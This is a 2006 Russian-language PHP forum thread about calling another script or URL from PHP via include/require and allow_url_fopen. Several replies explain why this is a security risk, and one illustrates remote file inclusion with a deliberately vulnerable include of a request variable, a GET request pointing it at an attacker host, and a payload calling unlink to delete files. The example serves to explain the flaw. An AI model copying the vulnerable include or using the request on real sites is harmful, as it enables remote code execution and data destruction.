ReSQL.ru
     
powered by simpleCommunicator - 2.0.61     © 2026 Programmizd 02
Мобильная версия    Контакт    Правила    FAQ    Помощь
Целевая тема:
Создать новую тему:
Автор:
Закрыть
Цитировать
Доб. в избранное | Игнор. тему | Прикреп. тему | Пометить прочит. / непрочит. | Фильтр
Форумы / PHP, Perl, Python [игнор отключен] [закрыт для гостей] / (PHP) Как внутри скрипта сделать прямой вызов друго скрипта или URL?
11 сообщений из 11, страница 1 из 1
(PHP) Как внутри скрипта сделать прямой вызов друго скрипта или URL?
    #33487064
DIEV.ru
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
DIEV.ru
Гость
Как внутри скрипта сделать прямой вызов друго скрипта или URL?
Код: plaintext
1.
2.
<?
  [перейти на www.sql.ru]
?>
как это будет выглядеть?
...
Рейтинг: 0 / 0
17.01.2006, 13:34
| Ответить | Цитировать | Написать  
(PHP) Как внутри скрипта сделать прямой вызов друго скрипта или URL?
    #33487186
Еретик
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Еретик
Участник
Код: plaintext
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
<?php

require 'prepend.php';

require $somefile;

require ('somefile.txt');

?>

Или то же самое с include()

URL можно вызывать, если для виртуального хоста или глобально установлен флаг allow_url_fopen (в php.ini или в конфигурационных файлах апача - httpd.conf, .htaccess)


Код: plaintext
 allow_url_fopen On
...
Рейтинг: 0 / 0
17.01.2006, 14:07
| Ответить | Цитировать | Написать  
(PHP) Как внутри скрипта сделать прямой вызов друго скрипта или URL?
    #33487187
Фотография lissyara
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
lissyara
Участник
Определитесь, что нужно - на мой взгляд несколько разные задачи.....


Posted via ActualForum NNTP Server 1.3
...
Рейтинг: 0 / 0
17.01.2006, 14:07
| Ответить | Цитировать | Написать  
(PHP) Как внутри скрипта сделать прямой вызов друго скрипта или URL?
    #33487258
Фотография lissyara
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
lissyara
Участник
Не успел :)


Posted via ActualForum NNTP Server 1.3
...
Рейтинг: 0 / 0
17.01.2006, 14:26
| Ответить | Цитировать | Написать  
(PHP) Как внутри скрипта сделать прямой вызов друго скрипта или URL?
    #33487786
Еретик
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Еретик
Участник
Еретик
Код: plaintext
 allow_url_fopen On


Забыл сказать, что это дыра в безопасности, особенно если еще register_globals On
...
Рейтинг: 0 / 0
17.01.2006, 16:55
| Ответить | Цитировать | Написать  
(PHP) Как внутри скрипта сделать прямой вызов друго скрипта или URL?
    #33488091
DocAl
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
DocAl
Участник
С регистер_глобалс он -- это всё одна сплошная дыра...
...
Рейтинг: 0 / 0
17.01.2006, 18:23
| Ответить | Цитировать | Написать  
(PHP) Как внутри скрипта сделать прямой вызов друго скрипта или URL?
    #33488306
twistfire
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
twistfire
Участник
а не могли бы Вы объяснить - почему когда register_globals=on то это дыра?
Из-за чего? По причине возможности атак на скрипті которіе воспринимают парпметрі, либо по какой-то другой?
...
Рейтинг: 0 / 0
17.01.2006, 21:54
| Ответить | Цитировать | Написать  
(PHP) Как внутри скрипта сделать прямой вызов друго скрипта или URL?
    #33488320
*
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
*
Гость
twistfireа не могли бы Вы объяснить - почему когда register_globals=on то это дыра?
www.php.net/registerglobals
...
Рейтинг: 0 / 0
17.01.2006, 22:21
| Ответить | Цитировать | Написать  
(PHP) Как внутри скрипта сделать прямой вызов друго скрипта или URL?
    #33488383
Еретик
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Еретик
Участник
twistfireа не могли бы Вы объяснить - почему когда register_globals=on то это дыра?
Из-за чего? По причине возможности атак на скрипті которіе воспринимают парпметрі, либо по какой-то другой?

total_hole.php на www.your-host.ru:
Код: plaintext
1.
2.
3.
<?php
include $somefile
?>

Вызываем:

GET http://www.your-host.ru/total_hole.php?somefile=http://www.hacker.ru/envy.txt


envy.txt на www.hacker.ru:
Код: plaintext
1.
2.
3.
<?
 unlink(*.*);
?>
...
Рейтинг: 0 / 0
18.01.2006, 00:15
| Ответить | Цитировать | Написать  
(PHP) Как внутри скрипта сделать прямой вызов друго скрипта или URL?
    #33488493
*
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
*
Гость
Еретик twistfireа не могли бы Вы объяснить - почему когда register_globals=on то это дыра?
Из-за чего? По причине возможности атак на скрипті которіе воспринимают парпметрі, либо по какой-то другой?

total_hole.php на www.your-host.ru:
Код: plaintext
1.
2.
3.
<?php
include $somefile
?>

Вызываем:

GET http://www.your-host.ru/total_hole.php?somefile=http://www.hacker.ru/envy.txt


envy.txt на www.hacker.ru:
Код: plaintext
1.
2.
3.
<?
 unlink(*.*);
?>
А при чём тут register_globals? Дыра-то не в ней. Ну напишете вы
Код: plaintext
<?include $_GET['somefile']?>
- в плане безопасности это ничего не изменит (с тем же успехом $_POST/$_COOKIE/$_REQUEST).
...
Рейтинг: 0 / 0
18.01.2006, 07:53
| Ответить | Цитировать | Написать  
(PHP) Как внутри скрипта сделать прямой вызов друго скрипта или URL?
    #33488666
twistfire
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
twistfire
Участник
усе равно спасибо :)
...
Рейтинг: 0 / 0
18.01.2006, 10:07
| Ответить | Цитировать | Написать  
11 сообщений из 11, страница 1 из 1
Форумы / PHP, Perl, Python [игнор отключен] [закрыт для гостей] / (PHP) Как внутри скрипта сделать прямой вызов друго скрипта или URL?
Найденые пользователи ...
Разблокировать пользователей ...
Читали тему (0):
Читали форум (0):
Пользователи онлайн (0):
Польз. соглашение   Полит. конфиден.  
NoSQL.ru       Кролег: Проекты, Новости, Чат       РЕД ФОРУМ       Фотоальбом: Участники, Встречи
Закрыть
start [/forum/topic.php?fid=23&fpage=440&tid=1476939]:
 0ms
get settings:
 11ms
get forum list:
 18ms
check forum access:
 2ms
check topic access:
 2ms
track hit:
 48ms
get topic data:
 11ms
get forum data:
 2ms
get page messages:
 58ms
get tp. blocked users:
 1ms
others: 249ms
total:  402ms
созд. / загр.: 402ms
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]